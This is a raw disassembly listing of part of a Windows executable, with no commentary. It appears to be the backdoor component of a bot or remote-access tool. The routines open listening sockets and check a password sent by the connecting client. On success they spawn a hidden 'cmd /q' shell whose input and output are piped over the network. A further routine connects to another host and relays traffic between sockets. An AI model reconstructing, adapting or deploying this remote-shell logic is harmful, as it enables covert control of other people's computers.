		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44C084
		call	sub_4145FE
		pop	ecx
		pop	ecx
		jmp	short loc_41002B
; ---------------------------------------------------------------------------


loc_410028:				; CODE XREF: sub_40FEBC+63j
					; sub_40FEBC+97j ...
		mov	edi, [ebp+arg_0]


loc_41002B:				; CODE XREF: sub_40FEBC+16Aj
		push	edi
		call	dword_4E0934
		push	[ebp+arg_0]
		call	dword_4E0934
		push	[ebp+var_40]
		call	sub_40AB19
		pop	ecx
		push	esi
		call	dword_4F1388	; ExitThread
		pop	edi
		pop	esi
sub_40FEBC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41004D	proc near		; DATA XREF: sub_40FEBC+124o

var_1344	= byte ptr -1344h
var_344		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41BC60
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		mov	ebx, [ebp+var_30]
		push	1
		pop	ecx
		mov	[ebp+var_4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4E091C
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_410203
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		push	[ebp+var_3C]
		call	dword_4E08A0
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_4E08DC
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_4100DD
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_4E0920
		jmp	short loc_4100EB
; ---------------------------------------------------------------------------


loc_4100DD:				; CODE XREF: sub_41004D+7Fj
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4E085C


loc_4100EB:				; CODE XREF: sub_41004D+8Ej
		cmp	eax, edi
		jz	loc_410203
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_4E084C
		cmp	eax, 0FFFFFFFFh
		jz	loc_410203
		movzx	eax, [ebp+var_16]
		push	[ebp+var_34]
		mov	[ebp+var_20], edi
		push	eax
		push	[ebp+var_14]
		call	dword_4E0928
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_44C0C0
		push	eax
		call	sub_41B740
		push	esi
		lea	eax, [ebp+var_344]
		push	18h
		push	eax
		call	sub_40A7FD
		imul	ebx, 234h
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_34]
		lea	esi, dword_4537D4[ebx]
		mov	dword_4537CC[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_4537D8[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_144]
		push	edi
		push	eax
		push	offset sub_410234
		push	edi
		push	edi
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_4537DC[ecx], eax
		jz	short loc_4101F0


loc_41019D:				; CODE XREF: sub_41004D+15Dj
		cmp	[ebp+var_20], edi
		jnz	short loc_4101AC
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_41019D
; ---------------------------------------------------------------------------


loc_4101AC:				; CODE XREF: sub_41004D+153j
		mov	ebx, 1000h


loc_4101B1:				; CODE XREF: sub_41004D+19Fj
		push	ebx
		lea	eax, [ebp+var_1344]
		push	edi
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		lea	eax, [ebp+var_1344]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4E08B8
		cmp	eax, edi
		jle	short loc_410203
		push	edi
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E08EC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4101B1
		jmp	short loc_410203
; ---------------------------------------------------------------------------


loc_4101F0:				; CODE XREF: sub_41004D+14Ej
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44C104
		call	sub_4145FE
		pop	ecx
		pop	ecx


loc_410203:				; CODE XREF: sub_41004D+44j
					; sub_41004D+A0j ...
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	dword_4537D4[eax]
		call	dword_4E0934
		push	[ebp+arg_0]
		call	dword_4E0934
		push	[ebp+var_4]
		call	sub_40AB19
		pop	ecx
		push	edi
		call	dword_4F1388	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_41004D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410234	proc near		; DATA XREF: sub_41004D+130o

var_1128	= byte ptr -1128h
var_128		= byte ptr -128h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41BC60
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_128]
		rep movsd
		mov	esi, [ebp+var_14]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_41026B:				; CODE XREF: sub_410234+7Cj
		push	edi
		lea	eax, [ebp+var_1128]
		push	0
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		lea	eax, [ebp+var_1128]
		push	0
		push	edi
		push	eax
		push	dword_4537D8[esi]
		call	dword_4E08B8
		test	eax, eax
		jle	short loc_4102B2
		push	0
		push	eax
		lea	eax, [ebp+var_1128]
		push	eax
		push	dword_4537D4[esi]
		call	dword_4E08EC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41026B


loc_4102B2:				; CODE XREF: sub_410234+61j
		push	dword_4537D8[esi]
		call	dword_4E0934
		push	[ebp+var_14]
		call	sub_40AB19
		pop	ecx
		push	0
		call	dword_4F1388	; ExitThread
		pop	edi
		pop	esi
sub_410234	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4102D1	proc near		; DATA XREF: sub_41055F+1BEo

var_3D4		= byte ptr -3D4h
var_350		= byte ptr -350h
var_208		= dword	ptr -208h
var_1F4		= dword	ptr -1F4h
var_1F0		= dword	ptr -1F0h
var_F0		= byte ptr -0F0h
var_B0		= byte ptr -0B0h
var_4C		= byte ptr -4Ch
var_3C		= byte ptr -3Ch
var_2C		= byte ptr -2Ch
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_3D4]
		push	1
		mov	[ebp+var_C], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp+var_208]
		mov	[ebp+arg_0], eax
		imul	eax, 234h
		lea	esi, dword_4537D4[eax]
		xor	edi, edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_1F4], ebx
		mov	eax, [esi]
		mov	[ebp+var_1F0], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	edi
		lea	eax, [ebp+var_1F4]
		push	edi
		push	eax
		push	edi
		call	dword_4E0888
		test	eax, eax
		jnz	short loc_410355
		push	dword ptr [esi]
		call	dword_4E0934
		push	[ebp+arg_0]
		call	sub_40AB19
		pop	ecx
		push	edi
		call	dword_4F1388	; ExitThread


loc_410355:				; CODE XREF: sub_4102D1+6Aj
		push	edi
		lea	eax, [ebp+var_3C]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4E08B8
		lea	eax, [ebp+var_2C]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4104D6
		lea	eax, [ebp+var_4C]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4104D6
		lea	eax, [ebp+var_F0]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4104D6
		add	esp, 24h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	dword ptr [esi]
		call	dword_4E0800
		test	eax, eax
		jz	short loc_4103CE
		call	dword_4E083C
		push	eax
		push	offset unk_44C144
		call	sub_4145FE
		push	[ebp+arg_0]
		call	sub_40AB19
		add	esp, 0Ch
		push	edi
		call	dword_4F1388	; ExitThread


loc_4103CE:				; CODE XREF: sub_4102D1+D8j
		push	2
		lea	eax, [ebp+var_18]
		push	4
		push	eax
		call	dword_4E085C
		cmp	eax, edi
		jnz	short loc_4103F8
		push	[ebp+var_18]
		call	dword_4E0928
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		call	sub_41B740
		jmp	short loc_410406
; ---------------------------------------------------------------------------


loc_4103F8:				; CODE XREF: sub_4102D1+10Dj
		push	dword ptr [eax]
		lea	eax, [ebp+var_B0]
		push	eax
		call	sub_41C300


loc_410406:				; CODE XREF: sub_4102D1+125j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset dword_4E3644
		push	dword ptr [esi]
		call	dword_4E08EC
		cmp	dword_4E363C, edi
		jnz	short loc_410468
		push	[ebp+var_18]
		lea	eax, [ebp+var_350]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_410530
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410468
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4E08EC
		push	dword ptr [esi]
		call	dword_4E0934
		push	[ebp+arg_0]
		call	sub_40AB19
		pop	ecx
		push	edi
		call	dword_4F1388	; ExitThread


loc_410468:				; CODE XREF: sub_4102D1+14Cj
					; sub_4102D1+16Dj
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	offset unk_44C184
		call	sub_4145FE
		push	[ebp+arg_0]
		call	sub_4107E7
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4104AF
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44C1AC
		call	sub_4145FE
		push	[ebp+arg_0]
		call	sub_40AB19
		add	esp, 0Ch
		push	ebx
		call	dword_4F1388	; ExitThread


loc_4104AF:				; CODE XREF: sub_4102D1+1B9j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	offset unk_44C1D8
		call	sub_4145FE
		push	[ebp+arg_0]
		call	sub_40AB19
		add	esp, 10h
		push	edi
		call	dword_4F1388	; ExitThread
sub_4102D1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4104D6	proc near		; CODE XREF: sub_4102D1+9Ap
					; sub_4102D1+A7p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4E08B8
		cmp	eax, 1
		jnz	short loc_410526
		mov	esi, [ebp+arg_4]


loc_4104F4:				; CODE XREF: sub_4104D6+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_41051B
		test	al, al
		jz	short loc_41052A
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4E08B8
		cmp	eax, 1
		jz	short loc_4104F4
		jmp	short loc_410526
; ---------------------------------------------------------------------------


loc_41051B:				; CODE XREF: sub_4104D6+27j
		push	offset unk_44C204
		call	sub_4145FE
		pop	ecx


loc_410526:				; CODE XREF: sub_4104D6+19j
					; sub_4104D6+43j
		xor	eax, eax
		jmp	short loc_41052D
; ---------------------------------------------------------------------------


loc_41052A:				; CODE XREF: sub_4104D6+2Bj
		push	1
		pop	eax


loc_41052D:				; CODE XREF: sub_4104D6+52j
		pop	esi
		leave
		retn
sub_4104D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_410530	proc near		; CODE XREF: sub_4102D1+163p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41055B
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_44C230
		call	sub_4145FE
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41055B:				; CODE XREF: sub_410530+11j
		push	1
		pop	eax
		retn
sub_410530	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41055F	proc near		; DATA XREF: sub_401CC1+1F09o

var_5DC		= dword	ptr -5DCh
var_5A4		= byte ptr -5A4h
var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5A4h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	78h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_214]
		push	1
		rep movsd
		pop	edi
		mov	[eax+1DCh], edi
		lea	eax, [ebp+var_5A4]
		push	eax
		push	202h
		call	dword_4E081C
		xor	esi, esi
		cmp	eax, esi
		jz	short loc_4105B8
		push	eax
		push	offset unk_44C2A0
		call	sub_4145FE
		push	[ebp+var_4C]
		call	sub_40AB19
		add	esp, 0Ch
		push	edi
		call	dword_4F1388	; ExitThread


loc_4105B8:				; CODE XREF: sub_41055F+3Aj
		push	edi
		push	offset loc_4107DD
		call	dword_4F13E0	; SetConsoleCtrlHandler
		test	eax, eax
		jnz	short loc_4105F1
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44C2CC
		call	sub_4145FE
		pop	ecx
		pop	ecx
		call	dword_4E0804
		push	[ebp+var_4C]
		call	sub_40AB19
		pop	ecx
		push	edi
		call	dword_4F1388	; ExitThread


loc_4105F1:				; CODE XREF: sub_41055F+67j
		push	ebx
		push	10h
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		mov	[ebp+var_20], 2
		push	[ebp+var_50]
		call	dword_4E08A0
		push	6
		push	edi
		push	2
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], esi
		call	dword_4E091C
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410768
		mov	eax, [ebp+var_4C]
		push	10h
		imul	eax, 234h
		mov	dword_4537D4[eax], ebx
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		call	dword_4E08CC
		test	eax, eax
		jnz	loc_410768
		push	7FFFFFFFh
		push	ebx
		call	dword_4E08C8
		test	eax, eax
		jnz	loc_410768
		push	offset unk_44C310
		mov	[ebp+var_10], 0Ch
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		call	sub_41458A
		pop	ecx
		mov	[ebp+arg_0], edi


loc_410680:				; CODE XREF: sub_41055F+15Aj
					; sub_41055F+1E4j
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		call	dword_4E0930
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_41076B
		push	[ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	eax
		push	8
		push	0FFFFh
		push	edi
		call	dword_4E0880
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410680
		movzx	eax, [ebp+var_32]
		push	[ebp+var_4C]
		mov	[ebp+var_38], esi
		push	eax
		push	[ebp+var_30]
		call	dword_4E0928
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_44C34C
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_41458A
		push	edi
		lea	eax, [ebp+var_414]
		push	9
		push	eax
		call	sub_40A7FD
		mov	[ebp+var_48], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_4C]
		add	esp, 24h
		mov	dword_4537CC[eax], ecx
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_214]
		push	esi
		push	eax
		push	offset sub_4102D1
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_48]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_4537DC[ecx], eax
		jz	short loc_410753


loc_410740:				; CODE XREF: sub_41055F+1F2j
		cmp	[ebp+var_38], esi
		jnz	loc_410680
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_410740
; ---------------------------------------------------------------------------


loc_410753:				; CODE XREF: sub_41055F+1DFj
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44C390
		call	sub_4145FE
		pop	ecx
		pop	ecx
		jmp	short loc_41076B
; ---------------------------------------------------------------------------


loc_410768:				; CODE XREF: sub_41055F+C8j
					; sub_41055F+ECj ...
		mov	edi, [ebp+arg_0]


loc_41076B:				; CODE XREF: sub_41055F+13Cj
					; sub_41055F+207j
		call	dword_4E083C
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_44C3CC
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		cmp	[ebp+var_3C], esi
		jnz	short loc_4107AB
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_40]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+var_214]
		call	sub_408EB9
		add	esp, 14h


loc_4107AB:				; CODE XREF: sub_41055F+22Aj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_41458A
		pop	ecx
		push	edi
		call	dword_4E0934
		push	ebx
		call	dword_4E0934
		call	dword_4E0804
		push	[ebp+var_4C]
		call	sub_40AB19
		pop	ecx
		push	esi
		call	dword_4F1388	; ExitThread
		pop	ebx


loc_4107DD:				; DATA XREF: sub_41055F+5Ao
		xor	eax, eax
		cmp	[esp+5E0h+var_5DC], eax
		setz	al
		retn
sub_41055F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4107E7	proc near		; CODE XREF: sub_4102D1+1AFp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_410938
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_4537D4[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_4F1338
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410B0A
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_410852
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44C404
		call	sub_4145FE
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_41088C
; ---------------------------------------------------------------------------


loc_410852:				; CODE XREF: sub_4107E7+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410BBC
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_410893
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44C44C
		call	sub_4145FE
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	dword_4F1368	; TerminateThread


loc_41088C:				; CODE XREF: sub_4107E7+69j
		xor	eax, eax
		jmp	loc_410933
; ---------------------------------------------------------------------------


loc_410893:				; CODE XREF: sub_4107E7+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		call	dword_4F13E4	; WaitForMultipleObjects
		sub	eax, ebx
		jz	short loc_4108ED
		dec	eax
		jz	short loc_4108E7
		dec	eax
		jz	short loc_4108D3
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44C494
		call	sub_4145FE
		pop	ecx
		pop	ecx
		jmp	short loc_410902
; ---------------------------------------------------------------------------


loc_4108D3:				; CODE XREF: sub_4107E7+D5j
		mov	edi, dword_4F1368
		push	ebx
		push	dword ptr [esi+14h]
		call	edi	; TerminateThread
		push	ebx
		push	dword ptr [esi+10h]
		call	edi	; TerminateThread
		jmp	short loc_410902
; ---------------------------------------------------------------------------


loc_4108E7:				; CODE XREF: sub_4107E7+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_4108F1
; ---------------------------------------------------------------------------


loc_4108ED:				; CODE XREF: sub_4107E7+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_4108F1:				; CODE XREF: sub_4107E7+104j
		call	dword_4F1368	; TerminateThread
		push	1
		push	dword ptr [esi+8]
		call	dword_4F13AC	; TerminateProcess


loc_410902:				; CODE XREF: sub_4107E7+EAj
					; sub_4107E7+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_4F1324
		call	edi	; CloseHandle
		push	dword ptr [esi+14h]
		call	edi	; CloseHandle
		push	dword ptr [esi+8]
		call	edi	; CloseHandle
		push	dword ptr [esi]
		call	edi	; CloseHandle
		push	dword ptr [esi+4]
		call	edi	; CloseHandle
		push	dword ptr [esi+0Ch]
		call	dword_4E0934
		push	esi
		call	sub_419940
		pop	ecx
		push	1
		pop	eax


loc_410933:				; CODE XREF: sub_4107E7+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4107E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410938	proc near		; CODE XREF: sub_4107E7+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_418ED0
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_410A22
		mov	ebx, dword_4F13B8
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx	; CreatePipe
		mov	edi, dword_4F1324
		test	eax, eax
		jnz	short loc_41099B
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44C4C8
		jmp	short loc_4109BB
; ---------------------------------------------------------------------------


loc_41099B:				; CODE XREF: sub_410938+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx	; CreatePipe
		test	eax, eax
		jnz	short loc_4109C3
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44C508


loc_4109BB:				; CODE XREF: sub_410938+61j
		call	sub_4145FE
		pop	ecx
		jmp	short loc_4109F1
; ---------------------------------------------------------------------------


loc_4109C3:				; CODE XREF: sub_410938+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_410A31
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi	; CloseHandle
		push	[ebp+var_8]
		call	edi	; CloseHandle
		cmp	dword ptr [esi+8], 0
		jnz	short loc_410A26
		push	offset unk_44C548
		call	sub_41458A


loc_4109F1:				; CODE XREF: sub_410938+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_4109FD
		push	[ebp+var_4]
		call	edi	; CloseHandle


loc_4109FD:				; CODE XREF: sub_410938+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_410A08
		push	[ebp+var_8]
		call	edi	; CloseHandle


loc_410A08:				; CODE XREF: sub_410938+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_410A11
		push	eax
		call	edi	; CloseHandle


loc_410A11:				; CODE XREF: sub_410938+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_410A1B
		push	eax
		call	edi	; CloseHandle


loc_410A1B:				; CODE XREF: sub_410938+DEj
		push	esi
		call	sub_419940
		pop	ecx


loc_410A22:				; CODE XREF: sub_410938+1Dj
		xor	eax, eax
		jmp	short loc_410A2C
; ---------------------------------------------------------------------------


loc_410A26:				; CODE XREF: sub_410938+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_410A2C:				; CODE XREF: sub_410938+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410938	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410A31	proc near		; CODE XREF: sub_410938+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41B190
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B190
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4F13B4
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi	; GetCurrentProcess
		push	eax
		push	ebx
		call	edi	; GetCurrentProcess
		push	eax
		call	dword_4F13B0	; DuplicateHandle
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	dword_4F1328	; CreateProcessA
		test	eax, eax
		jz	short loc_410AED
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_4537D0[eax], ecx
		call	dword_4F1324	; CloseHandle
		jmp	short loc_410B03
; ---------------------------------------------------------------------------


loc_410AED:				; CODE XREF: sub_410A31+9Aj
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44C578
		call	sub_4145FE
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_410B03:				; CODE XREF: sub_410A31+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
